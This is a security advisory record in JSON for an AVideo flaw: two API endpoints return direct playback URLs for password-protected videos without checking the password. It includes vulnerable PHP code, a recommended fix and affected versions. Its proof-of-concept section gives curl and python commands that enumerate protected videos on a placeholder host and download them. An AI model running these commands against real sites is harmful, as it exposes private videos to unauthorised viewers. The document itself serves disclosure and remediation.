{"id":"GHSA-q6jj-r49p-94fh","summary":"AVideo has Video Password Protection Bypass via API Endpoints Returning Full Playback Sources Without Password Verification","details":"## Summary\n\nThe `get_api_video_file` and `get_api_video` API endpoints in AVideo return full video playback sources (direct MP4 URLs, HLS manifests) for password-protected videos without verifying the video password. While the normal web playback flow enforces password checks via the `CustomizeUser::getModeYouTube()` hook, this enforcement is completely absent from the API code path. An unauthenticated attacker can retrieve direct playback URLs for any password-protected video by calling the API directly.\n\n## Details\n\nThe video password protection is enforced in the web UI via `CustomizeUser::getModeYouTube()` (`plugin/CustomizeUser/CustomizeUser.php:787`), which calls `videoPasswordIsGood()` before rendering the video player. However, this hook is only invoked during web page rendering — the API endpoints bypass it entirely.\n\n**Vulnerable endpoint 1 — `get_api_video_file` (`plugin/API/API.php:986-1004`):**\n\n```php\npublic function get_api_video_file($parameters)\n{\n    global $global;\n    $obj = $this-\u003estartResponseObject($parameters);\n    $obj-\u003evideos_id = $parameters['videos_id'];\n    if (!self::isAPISecretValid()) {\n        if (!User::canWatchVideoWithAds($obj-\u003evideos_id)) {\n            return new ApiObject(\"You cannot watch this video\");\n        }\n    }\n    $video = new Video('', '', $obj-\u003evideos_id);\n    $obj-\u003efilename = $video-\u003egetFilename();\n    // ...\n    $obj-\u003evideo_file = Video::getHigherVideoPathFromID($obj-\u003evideos_id);\n    $obj-\u003esources = getSources($obj-\u003efilename, true);\n    return new ApiObject(\"\", false, $obj);\n}\n```\n\nThe only access check is `User::canWatchVideoWithAds()` (`objects/user.php:1102-1159`), which checks admin status, video active status, owner status, and plugin-level restrictions (subscription/PPV). It does **not** check `video_password`. Password-protected videos have status `'a'` (active), which passes all checks.\n\n**Vulnerable endpoint 2 — `get_api_video` (`plugin/API/API.php:1635-1810`):**\n\nThis endpoint returns video metadata including full `videos` paths (line 1759) and `sources` arrays (line 1785) for all videos in query results, with no password verification anywhere in the function.\n\n**The intended password check exists but is never called from these endpoints:**\n\n`Video::verifyVideoPassword()` (`objects/video.php:543-553`) is the proper password verification function, and `get_api_video_password_is_correct` exists as a separate API endpoint — proving password verification was intended as an access control. But neither `get_api_video_file` nor `get_api_video` invoke any password check.\n\n## PoC\n\n```bash\n# Step 1: Identify a password-protected video via the video list API\ncurl -s 'https://target.com/plugin/API/get.json.php?APIName=video&rowCount=50' | \\\n  python3 -c \"\nimport json, sys\ndata = json.load(sys.stdin)\nfor v in data.get('response',{}).get('rows',[]):\n    if v.get('video_password'):\n        print(f'ID: {v[\\\"id\\\"]}, Title: {v[\\\"title\\\"]}, Password Protected: YES')\n        print(f'  Direct sources: {json.dumps(v.get(\\\"sources\\\",[])[0] if v.get(\\\"sources\\\") else \\\"none\\\")}')\"\n\n# Step 2: Retrieve full playback sources for the password-protected video\ncurl -s 'https://target.com/plugin/API/get.json.php?APIName=video_file&videos_id=\u003cPROTECTED_VIDEO_ID\u003e'\n\n# Expected: access denied or password prompt\n# Actual: full response with direct MP4/HLS URLs:\n# {\"error\":false,\"response\":{\"videos_id\":\"123\",\"filename\":\"video_abc\",\n#   \"video_file\":\"https://target.com/videos/video_abc/video_abc_HD.mp4\",\n#   \"sources\":[{\"src\":\"https://target.com/videos/video_abc/video_abc_HD.mp4\",\"type\":\"video/mp4\"}]}}\n\n# Step 3: Download the protected video directly\ncurl -O 'https://target.com/videos/video_abc/video_abc_HD.mp4'\n```\n\n## Impact\n\nAny unauthenticated user can retrieve direct playable video URLs for all password-protected videos, completely bypassing the password requirement. The `get_api_video` endpoint additionally exposes which videos are password-protected (via the `video_password` field set to `'1'`), allowing targeted enumeration. This renders the `video_password` feature ineffective for any content accessible through the API, which includes mobile apps, third-party integrations, and direct API consumers.\n\n## Recommended Fix\n\nAdd password verification to both API endpoints before returning video sources. In `plugin/API/API.php`:\n\n```php\npublic function get_api_video_file($parameters)\n{\n    global $global;\n    $obj = $this-\u003estartResponseObject($parameters);\n    $obj-\u003evideos_id = $parameters['videos_id'];\n    if (!self::isAPISecretValid()) {\n        if (!User::canWatchVideoWithAds($obj-\u003evideos_id)) {\n            return new ApiObject(\"You cannot watch this video\");\n        }\n        // Check video password protection\n        $video = new Video('', '', $obj-\u003evideos_id);\n        $storedPassword = $video-\u003egetVideo_password();\n        if (!empty($storedPassword)) {\n            $providedPassword = @$parameters['video_password'];\n            if (empty($providedPassword) || !Video::verifyVideoPassword($providedPassword, $storedPassword)) {\n                return new ApiObject(\"Video password required\", true);\n            }\n        }\n    }\n    // ... rest of function\n}\n```\n\nApply the same check in `get_api_video()` before populating the `videos` and `sources` fields (around line 1759), replacing source data with an empty object when the password is not provided or incorrect. Also fix `get_api_video_password_is_correct` to use `Video::verifyVideoPassword()` instead of direct `==` comparison (line 1126), which currently fails for bcrypt hashes.","aliases":["CVE-2026-34369"],"modified":"2026-03-30T18:26:22.279192Z","published":"2026-03-30T18:03:26Z","database_specific":{"github_reviewed":true,"github_reviewed_at":"2026-03-30T18:03:26Z","nvd_published_at":"2026-03-27T19:16:42Z","cwe_ids":["CWE-862"],"severity":"MODERATE"},"references":[{"type":"WEB","url":"https://github.com/WWBN/AVideo/security/advisories/GHSA-q6jj-r49p-94fh"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34369"},{"type":"WEB","url":"https://github.com/WWBN/AVideo/commit/be344206f2f461c034ad2f1c5d8212dd8a52b8c7"},{"type":"PACKAGE","url":"https://github.com/WWBN/AVideo"}],"affected":[{"package":{"name":"wwbn/avideo","ecosystem":"Packagist","purl":"pkg:composer/wwbn/avideo"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"26.0"}]}],"versions":["10.4","10.8","11","11.1","11.1.1","11.5","11.6","12.4","14.3","14.3.1","14.4","18.0","21.0","22.0","24.0","25.0","26.0"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-q6jj-r49p-94fh/GHSA-q6jj-r49p-94fh.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N"}]}